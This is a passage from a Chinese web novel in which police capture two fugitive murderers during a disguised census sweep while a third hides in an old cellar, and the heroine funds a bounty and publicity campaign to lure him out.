“根据目击证人描述,我们推测,三名凶犯在离开高家子镇,前往虎台镇的途中,再次改变装扮。其中穿蓝棉袄的凶犯,用白油漆将头发染白,装成腿脚不便的老人。三人借此伪装成母亲、女儿和女婿一家三口进入凤城市。” “这是卢队这组今天查到的线索。” “然后是负责市内蹲点的同志们也有重大发现。今天下午大约两点左右,负责蹲守‘珍珍’火锅店的小吴,在距离火锅店几十米的一家杂货店里,与穿红棉袄的凶犯照面。根据小吴的回忆,从身高、体现上判断,‘红棉袄’很可能就是秦小虎。” “经大林他们询问,秦小虎当时正在跟杂货店老板探听苏丽珍一家人的行踪,鉴于郭赖子与苏丽珍的纠葛,我们怀疑他是有预谋地把苏丽珍一家做为下一个下手目标。” “秦小虎在确认苏丽珍一家已经离凤后,乘坐通往东郊方向的12路公交车,并于团结路口下车。” “我们怀疑,三名凶犯目前就藏身在东郊一带。” “明天早上,我们将抽调人手,对以团结路为中心,半径一公里以内的区域进行集中排查。具体为北至广福里小区,南至水塔路,东到小东门居民区,西到新民路大街” “为避免惊动凶犯,本次排查采取暗中行动,大家时间紧,任务重。尤其是广福里和小东门一带的城乡接合部,房屋布局紧密,交错复杂,这样的地形对凶犯藏身和转移更有利,所以我们的排查难度很大。” “大家一定要沉住气,一旦有什么发现,切忌轻举妄动,以免打草惊蛇。同时,也一定要保证你们自身的安危。” “同志们,希望我们明天能顺利将三名凶犯抓拿归案,让无辜遇害者安息,让我们凤城的老百姓过一个祥和的元宵节!” 苏丽珍一行第二天早上八点多到首都,怕孟姑爷爷和丁大娘身体受不住,苏丽珍跟家人们商量,上午回家休息半天,然后下午先就近转一转,从明天开始就去各大景点以及苏振东说的庙会参观游玩。 大家自然没意见,到了t苏丽珍的四合院后,就各自休息或是帮忙整理行李。 苏丽珍有心事,也躺不住,和苏卫华、苏小麦一起把家里简单收拾了一遍,等坐下一看,也才将将十点多。 因为说好要跟苏爷爷一起去看望沈老爷子,所以她决定趁这个时间,先去看望一下自己的导师。 苏丽珍给导师提前打了个电话,没想到导师这边也说正有事要找她。 能叫导师特地嘱咐的一定不是小事,苏丽珍心里琢磨着,当即买了些礼品,就去了导师家里。 简单的见面问候后,导师就公布了答案。 原来学校五月份有一批去米国的交换生名额,为期一年。他们专业有两个名额,导师已经把她的名字报了上去,学校也批准了。 现在苏丽珍要做的就是配合学校准备一些出国手续,去米国的审批比较麻烦,最少要提前两个月准备。现在这个时候正好。再晚,怕有什么问题来不及处理,耽误大事。 苏丽珍没想到是这样的好事,心情一时有些复杂。 高兴肯定是高兴的,学校和导师这样的栽培厚爱,她心里感激,也荣幸。 复杂是因为她想起了上辈子,也是为了去这个国家,她几乎丧心病狂,弃亲友于不顾…… 记忆交错,加上从昨天到现在,心情一直处于紧张忧虑的状态,让她一时不禁生出强烈的恍惚感,觉得眼前一切都像是一场梦。 直到回到家,给家里人宣布了这个好消息,看着家人们开心的笑脸和真心实意为她高兴的样子,她才重新找回一点真实感。 下午两点 凤城东郊,小东门居民区 “请问,家里有人吗?” “来了来了!” 于老太太听见动静从房里出来,看见两个手拿文件夹的陌生小伙子站在院里,赶忙上前道:“两位同志,你们有什么事啊?” 一个小伙子和气道:“大娘,我们是东郊派出所的,今年国家要进行人口普查,我们来您家做一下家庭成员登记。” 于老太太听明白了:“行,那两位同志进屋坐会儿吧!” 小伙子拒绝了:“不用,大娘,就几句话的事,我们问,您答,我们记完就走。” 等把于老太太家人的情况登记完,小伙子才又问了句:“大娘,您家有租户吗?或者是来投奔的亲戚朋友之类的。” 于老太太一愣:“咋,这些也要查?” 一直负责记笔记的小伙子闻言笑道:“当然了,大娘,我们是人口普查,以实际住户为主。” 于老太太便答道:“我家就有租客,一共三个人。” 一听“三”这个数字,两个小伙子动作都几不可见地一顿,一人顺口接话道:“那他们这会儿在吗?在的话,我们直接给他们也做个登记。” 于老太太忙道:“这是一家三口,老太太和女儿、女婿。女儿、女婿这会儿不在,说出去给老太太买药去了,现在就剩老太太自己在家。” 两个人飞快对视一眼,做登记的小伙子神情自然道:“那就不劳烦老人家了,我们简单问几句,大娘您帮着答一下就行。” “哎,行,问我也行。”于老太痛快道,“他们家老太太身体不好,还拄着拐,出来进去怪费劲的。” “他们是宏源县人,前天中午才来的,说是给老太太看病,在我这儿就交了十天的房租,呆不长。” 做登记的小伙子记得飞快,没一会儿,手里文件夹“啪”的一合,就对于老太太道:“好,谢谢大娘配合,那我们就告辞了。” 从于家一出来,两人面色如常走进一处拐角,确定在这里只要一探头就能看到于家正门的位置,又不容易暴露,一人立即低声道:“我在这儿盯着,你快去汇报!” 与此同时,院子西北角的茅房里,郭赖子紧紧扣着茅房门栓,手脚冰凉。 不对劲! 他有一种强烈的直觉,这两个人很不对劲! 什么人口普查,怎么会突然这个时候查? 而且还要问租客和投奔人员的情况,这个时机未免太巧了! 会不会是警察已经查到了什么,借着这个普查摸过来了? 他越想越觉得不对,心里害怕,到底不敢在这个时候拿自己的小命去赌,于是赶忙溜回出租屋,从炕席下找出一小卷钱塞好。想到钱,他心里不免愤恨秦小虎每次都拿大头,又总是变着法搜刮他,害他现在手上只有这么点钱。 正好,如果真是警察,就留这两个人帮他拖延一段时间,也算这两个蠢货废物利用了。 等藏好了钱,他又想去拿衣服穿,只是目光触及炕上那件大红棉袄时,又不禁有些迟疑。 秦小虎今天踩点穿的是他的衣服,这件红棉袄他嫌瘦,干脆没穿。现在想想,要是警察摸到这里,岂不是说明他们的伪装已经被识破了? 那这衣服就绝对不能碰了! 可要是不穿,他现在身上只有一件毛衣,外边虽然气温已经回升,但太阳落山后还是很冷,这一身肯定不行…… 不管了,挨冻也比丢命强! 郭赖子一咬牙,到底没敢去拿那件红棉袄,只从秦氏兄弟的包袱袋里翻出一顶毛线帽子和只剩了两块的槽子糕揣上,推开房门,确定于老太太没出来,便快步溜回茅房。 正门是不能走了,万一有人盯着就麻烦了。 他观察过了,于家茅房旁边有个柴火垛,从这个柴火垛能直接翻墙到邻家院内。 于家的这户邻居白天上班,不常在家,很方便他跑路。 郭赖子轻手轻脚爬上柴火垛,又顺手把摘下来的假发卷成一团,塞进柴火垛和围墙的空隙里,然后迅速翻进了邻家院内。 一小时二十分钟后 秦氏兄弟绕了个圈子,从另外一条路线回到小东门,然后往出租屋方向走。 秦小虎心情不错,上午他发现了一只“肥羊”,下午带他哥过去踩点,提前熟悉熟悉环境,准备今晚就动手。 等干完这一票,他们就直接向东去顺州,然后经顺州到临省,从临省坐火车去南方。 上火车前再找个机会把姓郭的弄死,基本就没啥麻烦了。 他一路策划着今后的行程,因此没留意今天回家路上遇到的“行人”十分有规律,几乎是每走三、五十米就会遇上一、两个人。 等到了地方,两人前后脚进了院子。 走在后面的秦大虎抬脚就往西北角茅房去了:“小弟,我先去趟茅房!” 秦小虎点了点头:“那我先回屋。” 他径自走向出租屋,人到了门口,正准备拽门的时候,他突然感觉有点不对劲。 太静了! 正房没有于老太婆“乒乒乓乓”里外忙叨的声音,也没有她家那小崽子闹腾的动静。 如果是老太婆带着小崽子出去了,可他刚刚似乎没看见正门上挂锁。 还有郭赖子! 这人怕死的很,有点动静,跑的比兔子还快。他和他哥都不在,他肯定不会老老实实待着,说不定就一直扒着窗户盯着外头呢。 怎么可能这么消停! 这些念头在他脑中一闪而过,他忽然生出一股强烈的危机感,不由下意识后退一步。 然而就在他转身要逃跑的时候,身后的屋门猛然自内部被推开,几人迅速从屋里冲出,打头一个身形高大的年轻人动作敏捷,一把朝他扑了过去。 秦小虎躲避不及,被一下扑了个正着。 他见势不好,顾不上挣扎,疯狂大喊:“哥,快跑,有警察!” 于此同时,从于老太正房、院子仓房和大门口方向也快速涌进来许多人。 刚把茅房门打开的秦大虎根本来不及做其余动作,就被警察们按了个正着。 嘹亮的警车鸣笛声中,罪案累累的秦氏兄弟在小东门居民区众多居民的一路见证下被押进警车。 抓住了两名凶犯,专案组成员们都很雀跃。 唯有卢向杰望着身前这一大片错综复杂、布局凌乱的居民区,沉默不语。 他没想到郭赖子这么敏锐。 这里的地形本就不利追击,为了确保对秦氏兄弟的抓捕计划顺利实施,他又不得不对郭赖子的追踪由明转暗。 这么长时间没任何发现,对方大概率已经逃出小东门一带了。 他会逃去哪里? “小张、大刘,你们去跟守在凤城几条出城路口的兄弟们打声招呼,这时候一定不要松懈,咱们再加把劲,争取尽快把郭赖子也捉拿归案。” “小吴,小李,你们去小东门居民区外的两条街上问问,从两点到三点这段时间,有没有跟郭赖子相像的人出现过。” “陈叔,大林,你们跟我再把这一片过一遍,顺便打听一下东郊t这边有什么大家伙不常走的出城小道。” 想到侥幸逃跑的郭赖子,专案组成员们全都神情一肃,收起喜悦的心情,齐声应道:“是,卢队!” 郭赖子应该已经意识到他们的伪装失效,所以没敢拿秦小虎换下来的红棉袄。 于老太说他们几乎没什么行李,连被子都是租的于家的,也就是说,此时的他大概率没什么御寒衣物,又没法伪装成老太太。如今凤城市有关他们的通缉令很多,他肯定不会像之前那样随意走动。 所以他即便能逃出这片居民区,也不见得能顺利走多远。 接下来只要严密排查,就不怕揪不出这只害虫! 翌日,正月十五。 后半夜才勉强睡着的苏丽珍一睁开眼睛,已经快八点了,赶忙起床下地。 刚穿好衣服,就见丁大勇的外甥女,今年十岁的小岁岁把房门打开一条缝,然后小脑袋悄悄探进来,一看见她醒了,小脸一扭就朝外头喊:“苏姥姥,苏姥爷,珍姨姨醒啦!” 喊完又小燕子似的跑进来:“珍姨姨,快起床,苏太姥爷煮了好多好多汤圆,什么馅儿都有。太姥爷给我和芽芽小姨一人盛了一碗,我们俩都吃过了,可好吃了!” 苏丽珍忍不住露出笑容:“那待会儿岁岁再陪珍姨姨吃一碗。” 等从休息的西厢出来,才跨进正房客厅,她就听见苏爷爷兴奋的声音:“那是,咱家珍珍多优秀啊,人学校主动推荐她去呢!老米虽然不咋地吧,但人家确实先进,咱孩子能去那边学本事可是件大好事。” 苏丽珍有些不好意思,探头一看,原来苏爷爷是在跟人打电话。 她问旁边的孟姑爷爷:“姑爷爷,爷爷在跟谁通话啊?” 孟姑爷爷道:“跟你振东叔呗。今天元宵节,咱们都出来了,你爸妈惦记他和大勇,大勇那边暂时没地儿联系,就催他给你东叔打电话。” 一听是苏振东,苏丽珍心里一喜,忍不住凑了过去。 苏厚德以为她想亲自给儿子报喜,便把电话给了她。 “行了,珍珍来了,让她跟你说吧” 苏丽珍接过电话:“元宵节快乐,振东叔。” 电话那边苏振东也道:“元宵节快乐。珍珍,你苏爷爷都跟我说了,你们学校推荐你去米国留学了,恭喜你!” “另外我这边也有一个好消息,你听了一定会更开心。” 一听说有好消息,苏丽珍心里立时提起一口气。 只听那边苏振东欣喜道:“珍珍,那三个逃犯中有两人昨天下午被警方抓住了!” 一股巨大的喜悦直冲心头,苏丽珍险些激动的叫出声来,她忙看向旁边坐在沙发上的苏爷爷和孟姑爷爷,见两人正在说话,赶紧压抑着兴奋低低道:“东叔,是哪两个人?” 不料,电话那边的苏振东这个时候却迟疑了一下,才道:“是那对姓秦的兄弟。” 也就是说郭赖子还是没有被抓住。 他竟然又成功逃脱了! 苏丽珍忍不住攥紧了手里的电话线,之前满腔的喜悦也消散了一半。 感受到苏丽珍的不安,苏振东耐心劝道:“珍珍,你不要急,只剩郭赖子一个人不足为惧。如今凤城警方已经布下天罗地网,一定很快就能把这个畜生抓住。” “你不要想太多,就安安心心和大家在首都玩。” “我听你苏爷爷说你还要准备出国的手续,咱们有这么多开心的事要忙,就别再为这些不愉快的人和事劳神了,好吗?” 苏丽珍一阵鼻酸,但她不想让苏振东为自己担心,便应道:“好,我听东叔的。” 挂了电话,她望着屋外首都湛蓝的天空,心底却一片阴霾。 她有一种预感,这件事恐怕没这么轻易结束。 第240章 苏丽珍的预感成了真,一连六天,凤城那边都没传来什么好消息。 她每天都会在外面偷偷找机会给苏振东打电话,了解事情进展。 在所有人都以为秦氏兄弟顺利落网后,剩下的一名逃犯肯定也会很快被公安机关抓获时,偏偏就事与愿违。 在郭赖子逃窜的最初两天,警方还找到了若干目击者,借此圈定他逃窜的方向,可每次实施抓捕时都会差那么一点点,导致对方一再逃脱。 一次、两次,最后警方甚至连目击证人都找不到了。 郭赖子就像会“隐身”一样,成功让自己“消失”在所有人的目光中。 没人知道他在哪儿,甚至还在不在凤城市。 苏丽珍的内心一天比一天焦虑,今天是他们来到首都的第八天,阳历已经22号了。 昨天晚上,李翠英还说手腕的伤势好多了,特别是用了沈老爷子找的大夫给配的药膏后,现在晚上已经可以把吊带摘下来松快松快了。 这次出来这么长时间,玩得也挺尽兴,是不是该考虑回家了?毕竟芽芽和岁岁也快开学了,怎么也得提前两天回去适应适应吧。 丁大娘嘴上不说,可第一次离家这么久,心里肯定也惦记家里。 还有导师考虑到她需要准备出国的资料,又听说她带家里人来首都玩,就只是给她布置了一点作业,十分照顾地把她的假期延长到了月底。 可是现在总共也没剩几天了。 那该死的郭赖子却迟迟没有下落,对方一天不落网,她又怎么能安心让大家回去! 再又一次与苏振东通话,确认那人依然没有任何消息后,她沉默地走出邮电局,看着首都车水马龙的繁华街道,突然充满了无力感。 这是她重生以来,第一次陷入如此被动的境地。 老天爷就像跟她开了一个玩笑,在她以为自己一步步实现了目标,让家人和朋友过上了舒心自在的生活后,又用这样一件事让她明白,自己在祂面前是多么渺小,她那些自以为是的弥补和守护是多么脆弱。 她沿着马路漫无目的地走着,胸膛里就像有一团火,烧的她内心一片焦灼。 她不想再这么无意义地等下去,却又不知道自己能做什么…… “看你还怎么挣扎!” 突然,耳边一声低喝,她反应过来,扭头看去,却是不知什么时候走到了一个小区胡同口,两个老人正围着简易的石桌下棋。 只听先头出声的老人得意洋洋道:“哈哈,上当了吧?我以自己当饵,送到你嘴边上,就不信你不吃!吃完你就上当,回头就得吐给我更多!” 苏丽珍忍不住顿住脚步,喃喃道:“以自己为饵……” 这是一片密集的胡同区,此时已接近中午饭点,无论是下班的工人、还是玩耍的孩童,都相继往胡同里走去。 即使隔得远远的,也能闻到饭菜的香味,听到此起彼伏唤人回家吃饭的声音。 这一切是如此地抚慰人心。 这一刻,她心中也有了决断。 再次返回邮电局,她直接拨通了凤城卢向杰办公室的电话。 这次比较幸运,卢向杰刚开完会,进屋还不到五分钟。 对方接到苏丽珍的电话,并不意外,以为她担心凤城这边的事,便耐心宽慰道:“苏家妹子,郭赖子的事是我们工作不到位,让对方先后几次逃脱。但是请你放心,我们一定会竭尽全力尽快将人抓捕归案,给大家一个交代。” 苏丽珍却道:“卢大哥,我这次打电话是有一件重要的事想跟您商量,但是在此之前,我想先跟您确认一下,你认为现在郭赖子还在凤城的机率有多大?” 卢向杰听她这么说,以为她是想确认现在回凤城的安全性,便认真道:“我有七成的把握,他至今还在凤城。” 就在他们抓获秦氏兄弟的第二天早上,有个自称是住在小东门居民区的男人就主动上报,说是前一天下午,大约两点半左右,他家即将临盆的妻子不慎摔了一跤,导致羊水破裂,需要紧急送医。 当时他是用自家的板车拉着妻子去医院的,结果刚离家没走多远,就在胡同里碰到一个脏兮兮背着煤筐的男人,对方一看他车上拉着一个大肚子孕妇,二话不说就将筐子放下,主动上前来帮忙推车。 他当时心里着急,想着多一个人出力,速度也能快一点,对对方自然是一顿千恩万谢。 可是奇怪的是,等他把妻子送进离小东门最近的医院后,这个男人突然就消失了。 倒是刚刚在医院门口帮忙把妻子抬到病床上的医院保安人员,过后犹豫地主动找上他,问刚刚同t他一起来的那个脏兮兮的男人是不是他家亲戚。 保安当时跟他说,那人长得有点像最近凤城灭门案的一个凶手。 男人直接就惊出了一身冷汗,他根本就不认识这个人,在家附近也没见过。之前因为着急妻子,也没细看,等静下心来一回想,这人沾了煤灰下的那张脸确实有点眼熟。 男人心里害怕,又惦记着产房里生产的妻子,等天亮孩子成功落地,他回家拿东西,才知道头一天下午警察在他们小东门这片抓住了灭门案的两个凶犯。 他再不敢磨蹭,赶紧过来上报。 他们根据男人描述的、最后见到郭赖子的样子,以那间医院为中心向四周追查,果然找到了几名目击者,又根据目击者提供的信息一路追过去,有好几次差点就能把人抓住了。 谁料想,事情之后开始急转直下。 根据最后一次见到郭赖子的目击者所述,郭赖子曾试图进入凤城东南一带的老水厂小区边缘一户人家里,被主人及时察觉,郭赖子惊慌逃走后,至此再无踪迹。 无论他们把老水厂小区周围的几条街道搜查了多少遍,始终没能找到人,甚至再没有一例目击报告。 郭赖子就像人间蒸发了一样。 尽管搜查工作陷入僵局,但是目前所有能离开凤城的路径,不分大小,一直都被他们严密监控着,甚至来往的货车车底下都要看一眼。这种检查强度,加上满街张贴的通缉令,卢向杰不认为郭赖子能有机会走出去。 所以人大概率还是在凤城。只是凤城太大,郭赖子又有一个别人没有的优势,就是他曾经干过“黑市”买卖,对凤城的许多街巷了如指掌,也深谙如何跟警方“打游击”,才会多次找到机会逃脱。 但卢向杰相信,对方不会一直这么幸运的。 苏丽珍听完卢向杰的分析,才道:“卢大哥,如果是这样,我有办法帮你们把郭赖子抓住!” 一天后,凤城。 中午,苏丽珍刚从机场出来,一眼就看到了等人的卢向杰。 “卢大哥,谢谢你来接我!” 卢向杰神情复杂地看着一步步向自己走来的年轻姑娘,一边帮忙接过对方的行李放好,一边道:“应该的。” 苏丽珍一坐进车里,便问道:“卢大哥,媒体那边都联系好了吗?” 卢向杰点头:“联系好了,下午两点直接到警局。” 说完,他下意识看了眼对方,终究没忍住,又问了一遍:“苏家妹子,你确定真的要这样做吗?” “当然。”苏丽珍先是朝他笑了笑,“您放心,我可是生意人,怎么会做不利自己的事呢?这个计划也并不需要我做什么,更别提你们还会全程派人保护我。” “卢大哥,你之前不是还劝过我,要相信你们吗?我现在就是在选择相信你们。” 见卢向杰还是绷着脸,她渐渐收起脸上的笑容,神情格外认真:“卢大哥,我没有您想的那么伟大,我的出发点从始至终都只是为了我的家人。我不能放任这条毒蛇有机会潜伏在我家人身边,让他们随时都有可能遭遇不测。” “我心里比谁都清楚,只要那个人还逍遥法外一天,那我和我的家人就要多承担一天的风险。真比较起来,说不定在你们保护下去做这件事,让人快点落网,才是最划算的。” 卢向杰听罢,沉沉道:“对不起,终究是我们警方办事不力。” 苏丽珍摇头:“卢大哥别这么说,我知道所有人都已经尽力了。也许只是时间的问题,只是我不想再等下去了。” 苏丽珍的坦然和信任,让卢向杰心中对这个年轻女孩生出一丝敬佩。 他脑海中不禁再次浮现昨天女孩在电话里对他说的那些话。 “卢大哥,郭赖子东躲西藏,日子肯定不好过,这种巨大的压力下,他会更加憎恨让他落入这步田地的人,尤其是间接把他送进大牢的我。” “这个时候,如果我再做点什么,狠狠刺激他一下,他一定会因为极端的恨意想要报复我。” “我们再顺便让他知道,我是独自回到凤城,叫他觉得自己有机可乘,他就会更加忍不住。” “这是一个好机会,卢大哥,我们试一试吧!” 车子在警局门前停下,卢向杰转头看向对方,无比郑重道:“苏丽珍同志,我以本次专案组副组长的身份向你保证,我们一定会不惜任何代价保护你的安全。” 傍晚六点珍珍火锅店 “我知道了,冷哥,谢谢你。东副总那边要是有什么变动联系你,你记得给我打电话,还有帮我告诉江宏达和齐志飞一声,叫他们也一定不要告诉东副总我回凤城的事。” 电话那边的销售部经理冷刚有些犹豫:“苏总,您的意思我明白,只是……您该不会跟东副总闹矛盾了吧?” 苏丽珍笑道:“不是闹矛盾,是我私人方面有点事要处理,暂时不想让东叔知道。你们放心,等过了这几天,事情解决得差不多了,我会亲自跟他解释清楚的。” 冷刚一听她这么说,心里放松不少,表示一定会帮她给江、齐二人带话。 挂了电话后,苏丽珍不禁望着话筒出神。 东叔肯定会生气的。 她为了能回来帮警方执行诱捕郭赖子的计划,昨天跟家里人撒谎,说是临时跟导师去津市那边参加一个专业研讨会,大约要三、五天的时间才能回来。 然后借口递交的部分出国手续可能这几天会出结果,把家人留在了首都。 而凤城这边,振东叔也必须瞒着,所以她拜托一位在连市的代理商帮忙,让他假意制造了一点麻烦,把振东叔给引了过去。 刚刚她就是在跟冷刚确认,振东叔现在已经带着王树从公司离开,坐待会儿六点半的火车去连市。 连市靠海,是省内距离凤城最远的地方,加上线路的问题,一来一回光是在火车上就要消耗十几个小时。 那位代理商也答应他会尽量帮忙拖延时间,只希望一切顺利,能让她在振东叔发现真相前把事情解决。 还有大勇哥那边,她在回来前也已经提前联系过对方,确定大勇哥目前人还在安州。 大勇哥在经过一系列准备,成功拿下那个市政工程后,又跟当地一个开发商接触的不错,眼下正打算接手对方新完工的住宅小区装修工程,所以至少还要在安州停留几天。 她已经做好了所有准备,一切只等明天了。 天刚蒙蒙亮,锅炉厂小区就开始热闹起来。 铲煤灰,撮煤块,倒尿桶,催孩子起床,锅碗瓢盆,乒乒乓乓,你家响完,我家响,热闹的不行。 郭赖子蜷缩在地洞里,身上又冷又饿,听着周围这些琐碎的声音,心情更加烦躁。 他已经在这个憋屈的地方呆了五天了。 那天刚从于家逃出来不久,他就察觉到气氛不对,周围明显有一伙儿人在悄悄接近于家。 他干了“黑市”那么多年,没人比他更熟悉这些办案人员身上的“味儿”。 他明白于家是真的暴露了,不能再抱有任何侥幸心理,当时多一秒都没敢耽搁,脑子里只有一个念头,就是跑出去! 也幸亏他察觉不对的时机早,警察还没来得及布控,他穿上在一户人家煤棚子里发现的一件脏褂子,往自己脸上抹了把煤灰,拎起煤筐,装成了搬煤的工人,一口气跑出了几条胡同。 本来这也没多大把握,可他那天运气极好,路上遇到一个大肚婆难产要送医院,他主动上前帮忙推车,就这么顺利地从小东门逃了出来。 原本是想找个地方躲一阵的,但是城里到处是他的通缉令,尤其秦氏兄弟被抓后,警察追的更紧,他每隔一段时间就得换个地方。 可就算他已经足够小心,也有好几次差点被人认出来。 再一连两次险险从警察手里逃脱后,他更是不敢在人前露面。 中途想混进一户人家里弄点衣服和吃的,也不小心失了手。 幸好当时天已经黑了,要不然他说不定要折在那儿。 也许是人被逼到绝境,脑子就格外好使,就在他慌不择路,跑进老水厂小区深处后,还真给他想到了一个藏身的地方。 好多人以为他郭文忠是凤城本地人,其实他是二十八年前跟着他娘改嫁到这边的。 那时他十五岁,t赶上那两年接连闹灾,城里供应粮也断了顿。他娘实在没办法,经人介绍,带着他嫁给了一个比她大了十来岁的老头子。 老头子是锅炉厂的小领导,不知道之前干什么的,反正有点门路,经常会半夜三更地往家倒腾粮食。 老头子家的房子是父辈传下来的,年头比锅炉厂可久多了。 老头子的爹当年为了躲避兵匪战乱,在自家院子里偷挖了个挺大的地窖。直到解放以后,日子安生了,老头子的爹就把这地窖填上了一半。 新填好的地窖不大,长、宽不到2米,四面都用木柱和木板加固,平时就放点杂物和菜蔬。 他和他娘来了以后,老头子防备他,半夜背了粮食回来,就会藏在小地窖里。 小地窖其中一面的木板墙是活动的,有两块木板能拆下来,里面就是一个特地留出来的墙洞,老头子每次都会把弄来的粮食偷藏进这个墙洞里。 他娘怀孕后,老头子把这个秘密告诉了他娘,他娘又告诉了他。 转年,他娘难产没了,老头子把他也赶出了家门。没多久就新娶了一个寡妇,又生了个儿子。 后来等他一点点在凤城站稳了脚,听说老东西的亲儿子长大后进了锅炉厂,接了老东西的班,他就找人动了手脚,让小杂/种从高处摔下来,当场摔断了腰,成了瘫子。 老东西一股火儿直接归了西,老寡妇也病成了半聋。 在他进去之前的一年,听说小杂/种喝药没了,老寡妇又哭瞎一只眼。 这一晃快七年了,也不知道老寡妇还活没活着,那房子是老头子自家的,只要老寡妇人还在,房子就能一直在。 房子在,那个能藏粮食的墙洞就可能还在。 他决定冒险去试试。 老水厂小区和锅炉厂小区紧挨着,趁着夜深,他很快就找到了记忆中老东西的家,翻墙进去,摸进地窖里,找到那两块能活动的木板,挪开后果然看到了那个墙洞。 这个墙洞,高、宽大约有70公分,深有1.2米,刚好能让他弓着身子藏进去。 至此,他白天黑夜都躲在这间地窖里,一有点风吹草动就立马钻进墙洞。 等入夜,老寡妇睡下了,他再爬起来,钻进厨房,弄点吃的、喝的。 就这么一连躲了五、六天。 其间警察来这间院子里查了三回,每回都会看这间地窖。 只是因为地窖很小,人站在上面一打眼就能把里面看个一清二楚,所以一直没人下来仔细查看过。 不过眼下处境虽然还算安全,但是老寡妇这里什么都没有。老东西每天只做很少的饭,菜也是顿顿水煮菜配咸菜,他能在厨房里找到的吃的很少。 这几天除了昨天邻居送来的一小盆馒头,被他拿走了一个,其他时候只能靠生啃大白菜和萝卜充饥,啃得他胃里一阵阵冒酸水。 有好几次,他摸着袖子里的匕首,都想冲出去弄死老东西,舒舒服服大吃大喝一顿,然后再倒头睡个好觉。 可是他不能! 不管怎样,他还想活着。如果能成功从凤城离开,逃到南方去,凭他的脑子,一样能干出名堂。 想到这儿,他不禁眯了眯眼睛。 等他在南方发了财,他再回来找他的仇人们报仇。 姓苏的小贱/人、还有刘老五,他一个都不会放过。 所以他现在必须控制自己,那老寡妇别看瞎了一只眼,耳朵也聋,却十分细心,而且每天上午还会招一帮老娘儿们来家里糊火柴盒,几乎不断人。 老东西如果出了事,他眼下更没有落脚的地方了。 只能先忍一忍,等这阵风声过去。 他就不信,这么大的凤城会为了他一个人一直封锁边界,那些警察会不管别人,整天只追着他一个! 想要逃离这里的念头最终压过了强烈的烦躁和杀戮心,他极力忽视身体传来的诸多不适,努力命令自己闭上眼睛睡觉。 脑海里畅想着逃离凤城,在南方大展拳脚的日子,他竟真的迷迷糊糊睡着了。 也不知道过了多久,他才被一阵嘻嘻哈哈的说笑声惊醒。 “哎呀,瞅瞅这冷天气过去,这气温嘎嘎往上蹿,天气预报说今天最高有零上十五度呢!” “可不是咋地,趁着今天阳光好,咱把冯大娘家这房门开一会儿吧,捂一冬天了,也换点新鲜气儿。” 他慢慢坐到墙洞边,从怀中摸出已经蹭黑了的白面馒头,撕下一小片面皮放进嘴里,一边慢慢咀嚼,一边面无表情地听着上面几个老娘儿们把老东西的房门全部打开。 打开了房门不算,窗户上的塑料布也掀开半扇,足足折腾了十分钟,几个老娘儿们才消停下来开始干活。 “来来,今天日头好,不冻手,咱多糊点。” “唉,糊一百个火柴盒才给四分五。咱就算多糊它一万、两万的,加一起还不到十块钱呢。” 一人“噗嗤”一笑:“咱就是靠它打发点时间,王嫂子,你还指望它能发家咋地?” “就是,这不是一边唠嗑、一边还能挣点零花嘛。要不然光动嘴皮子,一分钱也挣不来啊!” “哎,你们说这个我可不服气了,动嘴皮子怎么不能挣钱、怎么不能发家?你们没听今早的凤城广播吗?就前两天小东门跑出来的那个姓郭的通缉犯,现在这人的悬赏又涨了!” “我知道、我知道!我们家也听了,孩子他爷看的报纸也登了,说是‘珍珍食品’那个姓苏的大老板,设立了一笔啥缉凶奖励金,只要谁能给警察提供线索,帮警察早日抓到人,一条线索就奖励一万块钱;要是发现了人直接逮住,就给五万!”《 》 240-243 第241章 “唉呀妈呀,五万呐!这得我们一家子不吃不喝干十年能攒出来,这苏老板也太大方了!” “这还不止呢!广播上说了,人苏老板这次还特地从首都订了二十五台叫啥寻呼机的,捐给了凤城公安。说那玩意儿就比火柴盒大一点,小小一个,本事老大了,人把它往腰带上一别,谁要有啥事找你,直接就能通过这个小东西告诉你。” “真的假的,这么好使?那不赶上随身带了个电话吗?” “对啊,警察带上它,一说上哪儿抓人,就‘呼’一下子,那边前脚‘呼’,这边后脚就收到了,指哪打哪,快得很,再不用耽误事了。” “这玩意儿这么厉害,那不得老贵了?” “报纸上说了,咱凤城邮电大楼下个月起也开始对外出售这种寻呼机,暂定的价格是两千多块。人苏老板一次捐出去二十五台,最少五万块啊!” “这五万、那五万,这加一起十多万了,这么多钱,这苏老板图啥啊?” “图啥,图名声呗!人广播和报纸都说了,苏老板就是顾念咱凤城老百姓的安危,想早日把这个杀人犯抓住木仓毙,省得他祸害咱们大伙儿。你们说这消息一出来,咱在这儿生活的人,哪个不领人家苏老板的情!” “我啊,以前一听说那啥逃犯就头皮发麻,可自打听了这些新闻,我倒还盼着能碰一把这人了!不为别的,碰上一把,回头动动嘴皮子就值一万块,就问你们惦记不惦记?” “哈哈,惦记、惦记,那咱求老天爷保佑,让咱都碰一把,哪管咱几人一起分一万块,那也顶我家那口子一年工资了!冯大娘,你也觉得是吧!” 几人的大笑声传进地窖,之前的郭赖子还会觉得刺耳烦躁,如今却全然没有感觉。 手里的馒头早已被捏碎成渣,掉落一地。 他双眼猩红,牙根几乎咬出血来。 愤怒、恐惧、绝望的情绪在脑中剧烈翻涌,碰撞,又一次次炸开,最终都化成了一道深深的恨意。 “苏、丽、珍,我绝不放过你!” 珍珍火锅店 在外奔波了一天,刚进家门就听到电话响,可等她赶过去时,那边已经挂了。 这会还没有来电显示,她不知道是谁打来的。 好在等了五分钟后,电话再次响起,她赶忙接了起来。 是刘五爷。 “五伯伯,有些话我现在不方便跟您透露,但是我有必须这样做的理由,过几天我再跟您解释。” “我明白的,我一定会小心……还有五伯,我这次回来没有告诉家里人,连振东叔也叫我提前支走了,所以就算您猜到了什么,也麻烦您暂时帮我保密好吗?” “那好t,谢谢五伯伯,您和五大娘也一定要注意安全。” 放下电话,苏丽珍望着窗外已经暗下来的天色,轻轻吐出一口气。 从前天下午回来,一晃又是两天,今天已经是第三天晚上了。 这段时间,她一直不停接受凤城本地的电视台、广播、报纸等各路媒体的采访,不遗余力地宣传自己出钱帮警方抓逃犯的事。 因为这些铺天盖地的宣传和高额悬赏金的诱惑,让本已经渐渐开始冷下来的抓逃犯话题,再次在凤城本地火了起来。 她听这两天一直贴身保护她的小戴警官说,现在外头好多人不但不怕那个通缉犯,还嚷嚷着想碰见一次,借此发财呢! 她觉得,只要郭赖子还在凤城地界,哪怕他藏在老鼠洞里,也能从这种热闹的氛围中察觉到什么。 面对又一次把局面搞得这么不利他的自己,新仇旧恨加一起,以郭赖子的报复心,她不信他会一直无动于衷。 昨天一整天静悄悄的,大概还没准备好,今天晚上就是一个关键节点。 